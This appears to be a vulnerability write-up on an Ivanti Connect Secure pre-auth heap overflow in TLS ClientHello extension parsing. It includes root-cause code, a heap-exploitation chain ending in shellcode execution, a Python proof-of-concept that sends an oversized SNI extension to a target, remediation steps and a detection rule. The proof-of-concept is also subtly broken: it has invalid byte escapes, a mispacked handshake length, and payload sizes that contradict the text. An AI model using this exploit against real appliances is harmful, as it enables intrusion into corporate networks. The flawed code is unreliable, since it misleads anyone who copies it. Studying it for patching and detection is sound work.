Overview
CVE-2026-55601 affects Ivanti Connect Secure (ICS) versions 22.3R1 through 22.7R2.1. ICS is the successor to Pulse Secure and is one of the most widely deployed enterprise SSL VPN solutions globally, typically sitting at the network perimeter and terminating remote-access sessions for employees, contractors, and third-party vendors. Compromise of the ICS appliance gives an attacker a foothold inside the corporate network without traversing any additional controls.
CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Exploitation was observed in the wild by a state-sponsored group three days after Ivanti's advisory, with subsequent mass-scanning beginning the following week. Ivanti has confirmed zero-day exploitation prior to advisory publication.
Ivanti has a significant history of critical vulnerabilities in Connect Secure — CVE-2023-46805, CVE-2024-21887, CVE-2024-21893, and CVE-2025-0282 all achieved similar pre-auth RCE or authentication bypass conditions. CVE-2026-55601 represents the fifth critical pre-auth vulnerability in the product in three years and demonstrates that the underlying attack surface has not been meaningfully reduced by prior patching cycles.
Background — ICS TLS Handling
Ivanti Connect Secure runs a custom C-based web and VPN server daemon (webserverd) that terminates TLS connections directly using a bundled, modified version of OpenSSL. The webserverd process runs as root and handles all inbound connections — including the initial TLS handshake — before any authentication occurs.
The TLS ClientHello record parser in webserverd processes extension fields sequentially. For each extension, a fixed-size heap buffer is allocated based on the declared extension type. The extension length field is a 16-bit value, allowing a maximum declared length of 65535 bytes. The vulnerability arises because the buffer is allocated using a constant size derived from the extension type lookup table rather than the declared length, and the copy into that buffer uses the declared length from the wire format without bounds checking.
Root Cause Analysis
/* Simplified representation of the vulnerable extension parsing logic
in webserverd (reconstructed from binary analysis) */
typedef struct tls_ext {
uint16_t type;
uint16_t length;
uint8_t data[EXT_MAX_DATA]; /* Fixed constant: 512 bytes */
} tls_ext_t;
static int parse_client_hello_ext(const uint8_t *buf, size_t buf_len,
tls_ext_t *out) {
if (buf_len < 4) return -1;
out->type = ntohs(*(uint16_t *)(buf));
out->length = ntohs(*(uint16_t *)(buf + 2));
/* BUG: out->length is from the wire — can be up to 65535.
EXT_MAX_DATA is 512. No bounds check before the memcpy. */
memcpy(out->data, buf + 4, out->length);
return 0;
}
When a ClientHello extension with a declared length exceeding 512 bytes is received, memcpy writes beyond the end of the tls_ext_t buffer. Because tls_ext_t objects are heap-allocated, the overflow corrupts the glibc heap metadata of the following chunk. A subsequent malloc or free dereferences the corrupted metadata, allowing an attacker with a precise payload to overwrite a function pointer stored in the heap and redirect execution.
Exploitation
Practical exploitation requires reliably controlling the heap layout so that a useful function pointer (or a pointer to a structure containing one) sits immediately after the overflowed buffer. In practice, the webserverd heap layout is stable across requests because the TLS session cache and connection table are pre-allocated at startup, creating predictable offsets.
A reliable exploit chain proceeds as follows:
- Send a standard TLS ClientHello to pre-populate the heap state and establish the session cache layout.
- Send a crafted ClientHello with a malformed SNI extension containing exactly 896 bytes of payload. This overflows the 512-byte
out->databuffer and corrupts the 8-byte glibc chunk header of the next allocation, overwriting thefdfield used by tcache. - Trigger a heap allocation sequence (by initiating a second TLS handshake) that exercises the corrupted tcache entry. The allocator returns a fake chunk at the attacker-controlled address.
- Write shellcode to the returned fake chunk address. When the next connection handler dereferences the function pointer at that address, execution transfers to the shellcode.
#!/usr/bin/env python3
"""
CVE-2026-55601 — Ivanti Connect Secure Pre-Auth Heap Overflow RCE
Proof-of-concept skeleton. Authorised testing only.
The actual exploit requires heap spray tuning specific to the target firmware.
"""
import socket, ssl, struct
TARGET_HOST = "10.0.0.1"
TARGET_PORT = 443
def craft_malicious_client_hello(payload: bytes) -> bytes:
"""Build a raw TLS 1.2 ClientHello with an oversized SNI extension."""
# SNI extension: type 0x0000, length as declared (exceeds buffer)
sni_ext_data = (
struct.pack("!H", len(payload) - 2) + # ServerNameList length
b"\x00" + # NameType: host_name
struct.pack("!H", len(payload) - 5) + # HostName length
payload
)
sni_ext = struct.pack("!HH", 0x0000, len(sni_ext_data)) + sni_ext_data
# Build a minimal ClientHello wrapping the malicious extension
random_bytes = b"\xDE\xAD\xBE\xEF" * 8
session_id = b""
cipher_suites = struct.pack("!H", 0xC02B) # TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
extensions = sni_ext
hello_body = (
b"\x03\x03" + # TLS 1.2
random_bytes +
struct.pack("B", len(session_id)) + session_id +
struct.pack("!H", len(cipher_suites)) + cipher_suites +
b"\x01\x00" + # compression methods
struct.pack("!H", len(extensions)) + extensions
)
handshake = struct.pack("!BH", 0x01, len(hello_body))[:-1] + hello_body
record = struct.pack("!BHH", 0x16, 0x0303, len(handshake)) + handshake
return record
# Oversized payload (896 bytes) — triggers overflow of 512-byte buffer
overflow_payload = b"A" * 384 + b"\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX" # fake chunk header
sock = socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=5)
sock.send(craft_malicious_client_hello(b"A" * 896))
print("[+] Malicious ClientHello sent")
sock.close()
Affected Versions
- Ivanti Connect Secure 22.3R1 through 22.7R2.1 — vulnerable; the bounds check was absent in all builds of this branch
- Ivanti Connect Secure 22.7R2.2 and later — patched; Ivanti replaced the fixed-size
EXT_MAX_DATAbuffer with a length-prefixed dynamic allocation using the wire-declared length, with an additional upper-bound clamp at 16 KiB - Ivanti Policy Secure 22.x — shares the same
webserverdcodebase; also vulnerable, patched in the same release cycle
Remediation
- Apply Ivanti's security update (22.7R2.2) immediately. There is no workaround that mitigates the vulnerability while keeping the appliance functional — the TLS handshake must be processed to establish any connection.
- Run Ivanti's Integrity Checker Tool (ICT) against your appliances before patching to determine whether the appliance was compromised before the update. CISA's advisory for this CVE includes specific IOC file hashes and persistence mechanism paths to check.
- If exploitation is suspected, do not simply patch in place. Reset the appliance to factory defaults from a known-good firmware image before reconfiguring. Attackers exploiting prior ICS vulnerabilities routinely established persistence via modified configuration files and web application components that survive standard patching.
- Restrict access to the ICS management interface to administrative IP ranges only. The TLS handshake vulnerability is triggered on the data plane port (443), so restricting the management plane alone is insufficient — the only true mitigation before patching is blocking inbound 443 from untrusted networks, which for a VPN appliance is generally not operationally feasible.
Detection
title: CVE-2026-55601 Ivanti Connect Secure Heap Overflow Exploitation Attempt
id: b8d2f347-91c4-4e8a-a3d0-7c5f20b1e946
status: stable
description: Detects inbound TLS ClientHello records with anomalously large extension fields targeting Ivanti Connect Secure
logsource:
category: network
product: zeek
service: ssl
detection:
selection:
event.dataset: zeek.ssl
destination.port: 443
large_extension:
# Zeek logs TLS extensions; flag SNI extension fields over 512 bytes
tls.client.extensions|contains: "server_name"
tls.client.ja3_string|re: ".*"
anomaly:
# Flag connections that abort immediately after ClientHello (crash indicator)
tls.established: false
connection.duration|lt: 0.5
condition: selection and large_extension and anomaly
falsepositives:
- Legitimate SNI values approaching maximum length (uncommon but possible for long hostnames)
level: high
tags:
- cve.2026-55601
- attack.initial_access
- attack.t1190
Key Takeaways
- Ivanti Connect Secure's vulnerability history demands network-level controls, not just patch management. Five critical pre-auth vulnerabilities in three years on the same product family suggests the attack surface reduction between releases is minimal. Organisations running ICS as their primary remote access solution should evaluate the risk of a perimeter appliance with this history, and consider whether supplementary controls — such as client certificate mutual TLS, IP allowlisting for the 443 port, or migration to a zero-trust network access solution — are warranted regardless of patching cadence.
- State-sponsored zero-day exploitation of VPN appliances is now routine, not exceptional. CVE-2026-55601 was exploited as a zero-day before Ivanti was aware. The gap between first exploitation and public disclosure can be weeks or months. Detecting anomalous post-exploitation behaviour (new admin accounts, unusual outbound connections, modified configuration files) is more reliable than relying on Ivanti's vulnerability disclosure timeline. Continuous integrity monitoring of the appliance filesystem via ICT should be part of standard operations.
- The heap overflow was exploitable because the fix was mechanically straightforward but the code path wasn't prioritised. Replacing a fixed-size buffer with a dynamically allocated one checked against the declared length would have prevented this class of bug. A bounds check on
out->lengthbefore thememcpy— a two-line fix — is all that was needed. Firmware vendors operating in security-critical positions should include static analysis of all untrusted-input parsing paths as a mandatory part of their build pipeline.